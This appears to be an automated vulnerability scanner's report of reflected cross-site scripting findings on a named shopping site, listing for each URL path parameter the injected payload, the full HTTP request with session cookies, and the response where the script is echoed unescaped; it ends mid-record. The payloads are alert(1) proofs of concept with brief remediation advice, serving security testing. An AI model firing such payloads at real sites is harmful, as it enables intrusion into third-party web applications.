<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Home-Furnishings/4120758082/KitchenHouse-Utensils20cc7'-alert(1)-'62a91cb3154/59'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 539a8'-alert(1)-'a6628b9a17d was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings/4120758082/KitchenHouse-Utensils/59539a8'-alert(1)-'a6628b9a17d HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:32:20 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54959
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Home-Furnishings/4120758082/KitchenHouse-Utensils/59539a8'-alert(1)-'a6628b9a17d'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6cac4'-alert(1)-'3f7af3835c1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping6cac4'-alert(1)-'3f7af3835c1/Home-Furnishings/4120758082/Tapistry/50 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:27:04 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60138
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping6cac4'-alert(1)-'3f7af3835c1/Home-Furnishings/4120758082/Tapistry/50'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 57b69"><a>fb485ccb691 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping57b69"><a>fb485ccb691/Home-Furnishings/4120758082/Tapistry/50 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:19:01 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60412
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping57b69"><a>fb485ccb691"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 93c8b'-alert(1)-'d454699a4c0 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings93c8b'-alert(1)-'d454699a4c0/4120758082/Tapistry/50 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:32:10 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59594
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Home-Furnishings93c8b'-alert(1)-'d454699a4c0/4120758082/Tapistry/50'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload a6e66<script>alert(1)</script>3dbb24eb2ec was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Home-Furnishingsa6e66<script>alert(1)</script>3dbb24eb2ec/4120758082/Tapistry/50 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:32:43 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59748
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Home Furnishingsa6e66<script>alert(1)</script>3dbb24eb2ec <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d0da9'-alert(1)-'32c6966655f was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings/4120758082d0da9'-alert(1)-'32c6966655f/Tapistry/50 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:40:11 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59627
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Home-Furnishings/4120758082d0da9'-alert(1)-'32c6966655f/Tapistry/50'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2b065'-alert(1)-'1624f652c94 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings/4120758082/Tapistry2b065'-alert(1)-'1624f652c94/50 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:48:54 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59566
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Home-Furnishings/4120758082/Tapistry2b065'-alert(1)-'1624f652c94/50'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload eaa13'-alert(1)-'14f1b8ace88 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings/4120758082/Tapistry/50eaa13'-alert(1)-'14f1b8ace88 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:51:51 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54931
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Home-Furnishings/4120758082/Tapistry/50eaa13'-alert(1)-'14f1b8ace88'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 15ce1"><a>5288377418 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping15ce1"><a>5288377418/Home-Furnishings/4120758082/Textiles/4 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:26:39 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59966
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping15ce1"><a>5288377418"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a640a'-alert(1)-'45f99ddf7ee was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shoppinga640a'-alert(1)-'45f99ddf7ee/Home-Furnishings/4120758082/Textiles/4 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:32:53 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60155
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shoppinga640a'-alert(1)-'45f99ddf7ee/Home-Furnishings/4120758082/Textiles/4'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload c2963<script>alert(1)</script>66480a50eeb was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Home-Furnishingsc2963<script>alert(1)</script>66480a50eeb/4120758082/Textiles/4 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:37:48 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61369
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Home Furnishingsc2963<script>alert(1)</script>66480a50eeb <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e4920'-alert(1)-'e0969ad4d83 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishingse4920'-alert(1)-'e0969ad4d83/4120758082/Textiles/4 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:37:13 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61386
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping/Home-Furnishingse4920'-alert(1)-'e0969ad4d83/4120758082/Textiles/4'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2caff'-alert(1)-'f977dcaee9a was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings/41207580822caff'-alert(1)-'f977dcaee9a/Textiles/4 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:42:19 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61083
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Home-Furnishings/41207580822caff'-alert(1)-'f977dcaee9a/Textiles/4'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload da01f'-alert(1)-'1ec5f28cd68 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings/4120758082/Textilesda01f'-alert(1)-'1ec5f28cd68/4 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:49:34 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61331
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Home-Furnishings/4120758082/Textilesda01f'-alert(1)-'1ec5f28cd68/4'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 78fd0'-alert(1)-'f64efe3a9fd was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
